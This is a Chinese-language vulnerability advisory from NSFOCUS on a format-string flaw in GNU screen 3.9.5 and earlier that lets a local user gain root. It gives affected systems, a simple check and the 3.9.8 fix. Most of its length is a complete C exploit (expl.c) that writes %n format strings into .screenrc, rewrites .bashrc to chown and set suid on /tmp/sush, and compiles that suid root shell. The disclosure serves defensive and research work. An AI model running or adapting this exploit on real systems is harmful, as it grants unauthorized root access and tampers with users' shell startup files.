安全研究

安全漏洞
screen 3.9.5格式串漏洞

发布日期:2000-09-06
更新日期:2000-09-07

受影响系统:

   Juergen Weigert screen 3.9.3
   Juergen Weigert screen 3.9.4
   Juergen Weigert screen 3.9.5
     
     - Sun Solaris 8.0
     - Sun Solaris 7.0
     - NetBSD 1.4.x
     - FreeBSD
     - Linux SuSE: 5.3, 6.0, 6.1, 6.2, 6.3, 6.4, 7.0
     - AIX 4.2

不受影响系统:

Weigert screen 3.9.8
描述:

screen 3.9.5及更早的版本中存在一个漏洞,它可以让本地用户提升权限。
如果screen被设置了 setuid root属性,通过在虚拟响铃消息的用户配置值
中放入特定的内容,可以改变存放 uid 的变量的内容。把它的值置成零,
紧跟着启动一个 shell,本地用户就获得 root 权限了。

<* 来源:Jouko Pynn鰊en  (jouko@solutions.fi) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


为检查漏洞是否存在,在 .screenrc 文件放入语句

  vbell on
  vbell_msg '%x'

把终端设置成 vt100,按 control-g。如果打印输出是十六进制数,
并且screen被设置了 setuid root属性,则存在此漏洞。

Paul Starzetz (paul@STARZETZ.DE)提供了一个测试程序(for SuSE):

--------------------------- expl.c ------------------------------



/****************************************************************
*                *
*  Screen 3.7.6 (and others) local exploit     *
*  by IhaQueR@IRCnet          *
*  only for demonstrative purposes       *
*                *
****************************************************************/



#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>




#define TMPBUFSIZE 1024


#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/bin/screen"

/* to help you hit the buffer we repeat the addr in the dir path */
#define AREP 16

/* but write only once */
#define WREP 1

/* offset of the buffer seen from Msg() */
#define BUFOFFSET 284
#define PADDING 0

/* addr to be written */
#define WRITEADDR 0x807beb4


/* some offsets grabbed from 3.7.6 on S.u.S.E 6.1
  &real_uid, &real_gid, &eff_uid, &eff_gid own_uid
  0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
  + 64  +64   ?   ?   ?


to get usefull offsets try this:

------------------- insert into screen.c source ----------------------
char mybuf[100000];
int jj;

void dumpstack(int err, char* fmt, ...)
{
static va_list ap;
char buf[100000];
char *p = buf;
FILE * fp;

#define STACKDMP "/tmp/stackdmp"

  va_start(ap, fmt);
  (void) vsnprintf(buf, sizeof(buf) - 100, fmt, ap);
  va_end(ap);
if(fp = fopen(STACKDMP, "w")) {
  fprintf(fp, "%s", buf);
  fclose(fp);
}
}


---------------------------------------------------------------------

then find in screen.c the line: 'Msg(0, VisualBellString);' and replace
it with

   bzero(mybuf, 100000);
   for (jj=0; jj<1500; jj++)
   {
    strcat(mybuf, "%x ");
   }
   dumpstack(0, mybuf);


compile screen, run, hit ctrl-g and look at the stack in
/tmp/stackdmp:-)
of course you can dump the adresses of &real_uid, &real_gid too
(maybe you would need a small offset for a.out)

*/



int main(int argc, char** argv)
{
int i, off=0;
int writeoffs, bufoffset;
unsigned a, *p;
FILE* fp;
unsigned char* cp;

char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];

struct utsname uts;
struct passwd* pwd;


  if(argc != 2) {
   printf("USAGE %s offset\n", argv[0]);
   return 0;
  } else {
   printf("Screen 3.7.6+ local r00t exploit\n");
   printf("by IhaQueR@IRCnet\n\n");
  }

/* calc addr offset  */
  getcwd(buf, TMPBUFSIZE);
  off += strlen(buf);
  uname(&uts);
  off += strlen(uts.nodename);
  pwd = getpwuid(getuid());
  off += strlen(pwd->pw_name);

/* user@host:/cwd/ @:/ */
  off += 3;
  bufoffset = BUFOFFSET + off;

  strcpy(screenrc, pwd->pw_dir);
  strcat(screenrc, "/");
  strcat(screenrc, SCREENRC);

  strcpy(bashrc, pwd->pw_dir);
  strcat(bashrc, "/");
  strcat(bashrc, BASHRC);

/* user supplied offsets */
  writeoffs = atoi(argv[1]);
  printf("creating magic string\n");
  bzero(buf, TMPBUFSIZE);

/*  consume stack arguments */
  for(i=0; i<bufoffset/4; i++)
   strcat(buf, "%.0d");

/*  finally write to adress */
  for(i=0;i<WREP; i++)
   strcat(buf, "%n");

/* create screenrc */
  printf("building %s\n", screenrc);
  if(fp = fopen(screenrc, "w")) {
   fprintf(fp, "vbell on\n");
   fprintf(fp, "vbell_msg '%s'\n", buf);
   fprintf(fp, "vbellwait 3600\n");
   fclose(fp);
  }
  else {
   printf("ERROR: opening %s\n", screenrc);
   return 1;
  }

/*  create bashrc  */
  printf("creating %s\n", bashrc);
  snprintf(buf, TMPBUFSIZE, "cp %s %s.orig", bashrc, bashrc);
  system(buf);
  snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod
4755 /tmp/sush'", bashrc);
  system(buf);

/*  create suid shell */
  printf("compiling suid shell\n");
  snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
  system(buf);
  system("gcc /tmp/sush.c -o /tmp/sush");

/*  now create the magic dir... */
  printf("makdir()\n");
  bzero(adr, (AREP+2)*sizeof(unsigned));
  cp = adr;
  for(i=0; i<PADDING; i++) {
   *cp = 'P';
   cp++;
  }

  p = (unsigned*) cp;
  a = WRITEADDR + writeoffs;

  for(i=0; i<AREP; i++) {
   *p = a;
   p++;
  }

  *p = 0;

/* make dir and call screen */
  mkdir((char*)adr, 0xfff);
  chdir((char*)adr);
  argv[1] = NULL;
  printf("press enter to start screen, then hit enter again, ctrl-g,
ctrl-c for suid shell at /tmp/sush");
  getchar();
  execv(SCREEN, argv);
}



建议:

该漏洞已在版本3.9.8中得到修补,到下面的站点下载新版本:

ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.8.tar.gz



浏览次数:6510
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障